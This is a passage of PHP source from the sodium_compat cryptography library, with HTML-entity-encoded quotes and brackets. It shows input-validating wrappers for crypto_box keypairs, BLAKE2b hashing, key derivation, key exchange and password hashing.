            return call_user_func(&#039;\\Sodium\\crypto_box_seal_open&#039;, $ciphertext, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext, $keypair);
    }

    /**
     * Generate a new random X25519 keypair.
     *
     * @return string A 64-byte string; the first 32 are your secret key, while
     *                the last 32 are your public key. crypto_box_secretkey()
     *                and crypto_box_publickey() exist to separate them so you
     *                don&#039;t accidentally get them mixed up!
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_keypair();
        }
        if (self::use_fallback(&#039;crypto_box_keypair&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_box_keypair&#039;);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_keypair();
        }
        return ParagonIE_Sodium_Crypto::box_keypair();
    }

    /**
     * Combine two keys into a keypair for use in library methods that expect
     * a keypair. This doesn&#039;t necessarily have to be the same person&#039;s keys.
     *
     * @param string $secretKey Secret key
     * @param string $publicKey Public key
     * @return string    Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_keypair_from_secretkey_and_publickey(
        #[\SensitiveParameter]
        $secretKey,
        $publicKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, &#039;string&#039;, 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException(&#039;Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
        }
        if (self::use_fallback(&#039;crypto_box_keypair_from_secretkey_and_publickey&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey&#039;, $secretKey, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
    }

    /**
     * Decrypt a message previously encrypted with crypto_box().
     *
     * @param string $ciphertext Encrypted message
     * @param string $nonce      Number to only be used Once; must be 24 bytes
     * @param string $keypair    Your secret key and the sender&#039;s public key
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_open(
        $ciphertext,
        $nonce,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, &#039;string&#039;, 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) &lt; self::CRYPTO_BOX_MACBYTES) {
            throw new SodiumException(&#039;Argument 1 must be at least CRYPTO_BOX_MACBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_BOX_NONCEBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_open($ciphertext, $nonce, $keypair);
        }
        if (self::use_fallback(&#039;crypto_box_open&#039;)) {
            return call_user_func(&#039;\\Sodium\\crypto_box_open&#039;, $ciphertext, $nonce, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce, $keypair);
    }

    /**
     * Extract the public key from a crypto_box keypair.
     *
     * @param string $keypair Keypair containing secret and public key
     * @return string         Your crypto_box public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey(
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, &#039;string&#039;, 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException(&#039;Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_publickey($keypair);
        }
        if (self::use_fallback(&#039;crypto_box_publickey&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_box_publickey&#039;, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_publickey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_publickey($keypair);
    }

    /**
     * Calculate the X25519 public key from a given X25519 secret key.
     *
     * @param string $secretKey Any X25519 secret key
     * @return string           The corresponding X25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey_from_secretkey(
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, &#039;string&#039;, 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException(&#039;Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_publickey_from_secretkey($secretKey);
        }
        if (self::use_fallback(&#039;crypto_box_publickey_from_secretkey&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_box_publickey_from_secretkey&#039;, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey);
        }
        return ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey);
    }

    /**
     * Extract the secret key from a crypto_box keypair.
     *
     * @param string $keypair
     * @return string         Your crypto_box secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_secretkey(
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, &#039;string&#039;, 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException(&#039;Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_secretkey($keypair);
        }
        if (self::use_fallback(&#039;crypto_box_secretkey&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_box_secretkey&#039;, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_secretkey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_secretkey($keypair);
    }

    /**
     * Generate an X25519 keypair from a seed.
     *
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress UndefinedFunction
     */
    public static function crypto_box_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, &#039;string&#039;, 1);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seed_keypair($seed);
        }
        if (self::use_fallback(&#039;crypto_box_seed_keypair&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_box_seed_keypair&#039;, $seed);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed);
        }
        return ParagonIE_Sodium_Crypto::box_seed_keypair($seed);
    }

    /**
     * Calculates a BLAKE2b hash, with an optional key.
     *
     * @param string      $message The message to be hashed
     * @param string|null $key     If specified, must be a string between 16
     *                             and 64 bytes long
     * @param int         $length  Output length in bytes; must be between 16
     *                             and 64 (default = 32)
     * @return string              Raw binary
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash(
        $message,
        #[\SensitiveParameter]
        $key = &#039;&#039;,
        $length = self::CRYPTO_GENERICHASH_BYTES
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, &#039;string&#039;, 1);
        if (is_null($key)) {
            $key = &#039;&#039;;
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, &#039;int&#039;, 3);

        /* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) &lt; self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException(&#039;Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.&#039;);
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) &gt; self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException(&#039;Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.&#039;);
            }
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_generichash($message, $key, $length);
        }
        if (self::use_fallback(&#039;crypto_generichash&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_generichash&#039;, $message, $key, $length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash($message, $key, $length);
        }
        return ParagonIE_Sodium_Crypto::generichash($message, $key, $length);
    }

    /**
     * Get the final BLAKE2b hash output for a given context.
     *
     * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init().
     * @param int $length Hash output size.
     * @return string     Final BLAKE2b hash.
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress ReferenceConstraintViolation
     * @psalm-suppress ConflictingReferenceConstraint
     */
    public static function crypto_generichash_final(
        #[\SensitiveParameter]
        &amp;$ctx,
        $length = self::CRYPTO_GENERICHASH_BYTES
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, &#039;int&#039;, 2);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_final($ctx, $length);
        }
        if (self::use_fallback(&#039;crypto_generichash_final&#039;)) {
            $func = &#039;\\Sodium\\crypto_generichash_final&#039;;
            return (string) $func($ctx, $length);
        }
        if ($length &lt; 1) {
            try {
                self::memzero($ctx);
            } catch (SodiumException $ex) {
                unset($ctx);
            }
            return &#039;&#039;;
        }
        if (PHP_INT_SIZE === 4) {
            $result = ParagonIE_Sodium_Crypto32::generichash_final($ctx, $length);
        } else {
            $result = ParagonIE_Sodium_Crypto::generichash_final($ctx, $length);
        }
        try {
            self::memzero($ctx);
        } catch (SodiumException $ex) {
            unset($ctx);
        }
        return $result;
    }

    /**
     * Initialize a BLAKE2b hashing context, for use in a streaming interface.
     *
     * @param string|null $key If specified must be a string between 16 and 64 bytes
     * @param int $length      The size of the desired hash output
     * @return string          A BLAKE2 hashing context, encoded as a string
     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init(
        #[\SensitiveParameter]
        $key = &#039;&#039;,
        $length = self::CRYPTO_GENERICHASH_BYTES
    ) {
        /* Type checks: */
        if (is_null($key)) {
            $key = &#039;&#039;;
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, &#039;int&#039;, 2);

        /* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) &lt; self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException(&#039;Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.&#039;);
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) &gt; self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException(&#039;Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.&#039;);
            }
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_init($key, $length);
        }
        if (self::use_fallback(&#039;crypto_generichash_init&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_generichash_init&#039;, $key, $length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash_init($key, $length);
        }
        return ParagonIE_Sodium_Crypto::generichash_init($key, $length);
    }

    /**
     * Initialize a BLAKE2b hashing context, for use in a streaming interface.
     *
     * @param string|null $key If specified must be a string between 16 and 64 bytes
     * @param int $length      The size of the desired hash output
     * @param string $salt     Salt (up to 16 bytes)
     * @param string $personal Personalization string (up to 16 bytes)
     * @return string          A BLAKE2 hashing context, encoded as a string
     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init_salt_personal(
        #[\SensitiveParameter]
        $key = &#039;&#039;,
        $length = self::CRYPTO_GENERICHASH_BYTES,
        $salt = &#039;&#039;,
        $personal = &#039;&#039;
    ) {
        /* Type checks: */
        if (is_null($key)) {
            $key = &#039;&#039;;
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, &#039;int&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($personal, &#039;string&#039;, 4);
        $salt = str_pad($salt, 16, &quot;\0&quot;, STR_PAD_RIGHT);
        $personal = str_pad($personal, 16, &quot;\0&quot;, STR_PAD_RIGHT);

        /* Input validation: */
        if (!empty($key)) {
            /*
            if (ParagonIE_Sodium_Core_Util::strlen($key) &lt; self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException(&#039;Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.&#039;);
            }
            */
            if (ParagonIE_Sodium_Core_Util::strlen($key) &gt; self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException(&#039;Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.&#039;);
            }
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash_init_salt_personal($key, $length, $salt, $personal);
        }
        return ParagonIE_Sodium_Crypto::generichash_init_salt_personal($key, $length, $salt, $personal);
    }

    /**
     * Update a BLAKE2b hashing context with additional data.
     *
     * @param string $ctx    BLAKE2 hashing context. Generated by crypto_generichash_init().
     *                       $ctx is passed by reference and gets updated in-place.
     * @param-out string $ctx
     * @param string $message The message to append to the existing hash state.
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress ReferenceConstraintViolation
     */
    public static function crypto_generichash_update(
        #[\SensitiveParameter]
        &amp;$ctx,
        $message
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, &#039;string&#039;, 2);

        if (self::useNewSodiumAPI()) {
            sodium_crypto_generichash_update($ctx, $message);
            return;
        }
        if (self::use_fallback(&#039;crypto_generichash_update&#039;)) {
            $func = &#039;\\Sodium\\crypto_generichash_update&#039;;
            $func($ctx, $message);
            return;
        }
        if (PHP_INT_SIZE === 4) {
            $ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx, $message);
        } else {
            $ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx, $message);
        }
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_generichash_keygen()
    {
        return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES);
    }

    /**
     * @param int $subkey_len
     * @param int $subkey_id
     * @param string $context
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kdf_derive_from_key(
        $subkey_len,
        $subkey_id,
        $context,
        #[\SensitiveParameter]
        $key
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($subkey_len, &#039;int&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($subkey_id, &#039;int&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($context, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);
        $subkey_id = (int) $subkey_id;
        $subkey_len = (int) $subkey_len;
        $context = (string) $context;
        $key = (string) $key;

        if ($subkey_len &lt; self::CRYPTO_KDF_BYTES_MIN) {
            throw new SodiumException(&#039;subkey cannot be smaller than SODIUM_CRYPTO_KDF_BYTES_MIN&#039;);
        }
        if ($subkey_len &gt; self::CRYPTO_KDF_BYTES_MAX) {
            throw new SodiumException(&#039;subkey cannot be larger than SODIUM_CRYPTO_KDF_BYTES_MAX&#039;);
        }
        if ($subkey_id &lt; 0) {
            throw new SodiumException(&#039;subkey_id cannot be negative&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($context) !== self::CRYPTO_KDF_CONTEXTBYTES) {
            throw new SodiumException(&#039;context should be SODIUM_CRYPTO_KDF_CONTEXTBYTES bytes&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_KDF_KEYBYTES) {
            throw new SodiumException(&#039;key should be SODIUM_CRYPTO_KDF_KEYBYTES bytes&#039;);
        }

        $salt = ParagonIE_Sodium_Core_Util::store64_le($subkey_id);
        $state = self::crypto_generichash_init_salt_personal(
            $key,
            $subkey_len,
            $salt,
            $context
        );
        return self::crypto_generichash_final($state, $subkey_len);
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_kdf_keygen()
    {
        return random_bytes(self::CRYPTO_KDF_KEYBYTES);
    }

    /**
     * Perform a key exchange, between a designated client and a server.
     *
     * Typically, you would designate one machine to be the client and the
     * other to be the server. The first two keys are what you&#039;d expect for
     * scalarmult() below, but the latter two public keys don&#039;t swap places.
     *
     * | ALICE                          | BOB                                 |
     * | Client                         | Server                              |
     * |--------------------------------|-------------------------------------|
     * | shared = crypto_kx(            | shared = crypto_kx(                 |
     * |     alice_sk,                  |     bob_sk,                         | &lt;- contextual
     * |     bob_pk,                    |     alice_pk,                       | &lt;- contextual
     * |     alice_pk,                  |     alice_pk,                       | &lt;----- static
     * |     bob_pk                     |     bob_pk                          | &lt;----- static
     * | )                              | )                                   |
     *
     * They are used along with the scalarmult product to generate a 256-bit
     * BLAKE2b hash unique to the client and server keys.
     *
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_kx(
        #[\SensitiveParameter]
        $my_secret,
        $their_public,
        $client_public,
        $server_public,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($my_secret, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($their_public, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($client_public, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($server_public, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException(&#039;Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($their_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($client_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($server_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException(&#039;Argument 4 must be CRYPTO_BOX_PUBLICKEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            if (is_callable(&#039;sodium_crypto_kx&#039;)) {
                return (string) sodium_crypto_kx(
                    $my_secret,
                    $their_public,
                    $client_public,
                    $server_public
                );
            }
        }
        if (self::use_fallback(&#039;crypto_kx&#039;)) {
            return (string) call_user_func(
                &#039;\\Sodium\\crypto_kx&#039;,
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::keyExchange(
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        return ParagonIE_Sodium_Crypto::keyExchange(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, &#039;string&#039;, 1);

        $seed = (string) $seed;

        if (ParagonIE_Sodium_Core_Util::strlen($seed) !== self::CRYPTO_KX_SEEDBYTES) {
            throw new SodiumException(&#039;seed must be SODIUM_CRYPTO_KX_SEEDBYTES bytes&#039;);
        }

        $sk = self::crypto_generichash($seed, &#039;&#039;, self::CRYPTO_KX_SECRETKEYBYTES);
        $pk = self::crypto_scalarmult_base($sk);
        return $sk . $pk;
    }

    /**
     * @return string
     * @throws Exception
     */
    public static function crypto_kx_keypair()
    {
        $sk = self::randombytes_buf(self::CRYPTO_KX_SECRETKEYBYTES);
        $pk = self::crypto_scalarmult_base($sk);
        return $sk . $pk;
    }

    /**
     * @param string $keypair
     * @param string $serverPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    public static function crypto_kx_client_session_keys(
        #[\SensitiveParameter]
        $keypair,
        $serverPublicKey
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($serverPublicKey, &#039;string&#039;, 2);

        $keypair = (string) $keypair;
        $serverPublicKey = (string) $serverPublicKey;

        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) {
            throw new SodiumException(&#039;keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($serverPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) {
            throw new SodiumException(&#039;public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes&#039;);
        }

        $sk = self::crypto_kx_secretkey($keypair);
        $pk = self::crypto_kx_publickey($keypair);
        $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $serverPublicKey));
        self::crypto_generichash_update($h, $pk);
        self::crypto_generichash_update($h, $serverPublicKey);
        $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        return array(
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                0,
                self::CRYPTO_KX_SESSIONKEYBYTES
            ),
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                self::CRYPTO_KX_SESSIONKEYBYTES,
                self::CRYPTO_KX_SESSIONKEYBYTES
            )
        );
    }

    /**
     * @param string $keypair
     * @param string $clientPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    public static function crypto_kx_server_session_keys(
        #[\SensitiveParameter]
        $keypair,
        $clientPublicKey
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($clientPublicKey, &#039;string&#039;, 2);

        $keypair = (string) $keypair;
        $clientPublicKey = (string) $clientPublicKey;

        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) {
            throw new SodiumException(&#039;keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($clientPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) {
            throw new SodiumException(&#039;public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes&#039;);
        }

        $sk = self::crypto_kx_secretkey($keypair);
        $pk = self::crypto_kx_publickey($keypair);
        $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $clientPublicKey));
        self::crypto_generichash_update($h, $clientPublicKey);
        self::crypto_generichash_update($h, $pk);
        $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        return array(
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                self::CRYPTO_KX_SESSIONKEYBYTES,
                self::CRYPTO_KX_SESSIONKEYBYTES
            ),
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                0,
                self::CRYPTO_KX_SESSIONKEYBYTES
            )
        );
    }

    /**
     * @param string $kp
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_secretkey(
        #[\SensitiveParameter]
        $kp
    ) {
        return ParagonIE_Sodium_Core_Util::substr(
            $kp,
            0,
            self::CRYPTO_KX_SECRETKEYBYTES
        );
    }

    /**
     * @param string $kp
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_publickey($kp)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            $kp,
            self::CRYPTO_KX_SECRETKEYBYTES,
            self::CRYPTO_KX_PUBLICKEYBYTES
        );
    }

    /**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @param int|null $alg
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash(
        $outlen,
        #[\SensitiveParameter]
        $passwd,
        $salt,
        $opslimit,
        $memlimit,
        $alg = null
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen, &#039;int&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt,  &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, &#039;int&#039;, 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, &#039;int&#039;, 5);

        if (self::useNewSodiumAPI()) {
            if (!is_null($alg)) {
                ParagonIE_Sodium_Core_Util::declareScalarType($alg, &#039;int&#039;, 6);
                return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg);
            }
            return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit);
        }
        if (self::use_fallback(&#039;crypto_pwhash&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_pwhash&#039;, $outlen, $passwd, $salt, $opslimit, $memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            &#039;This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP&#039;
        );
    }

    /**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function crypto_pwhash_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if (self::use_fallback(&#039;crypto_pwhash&#039;)) {
            return true;
        }
        return false;
    }

    /**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str(
        #[\SensitiveParameter]
        $passwd,
        $opslimit,
        $memlimit
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, &#039;int&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, &#039;int&#039;, 3);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit);
        }
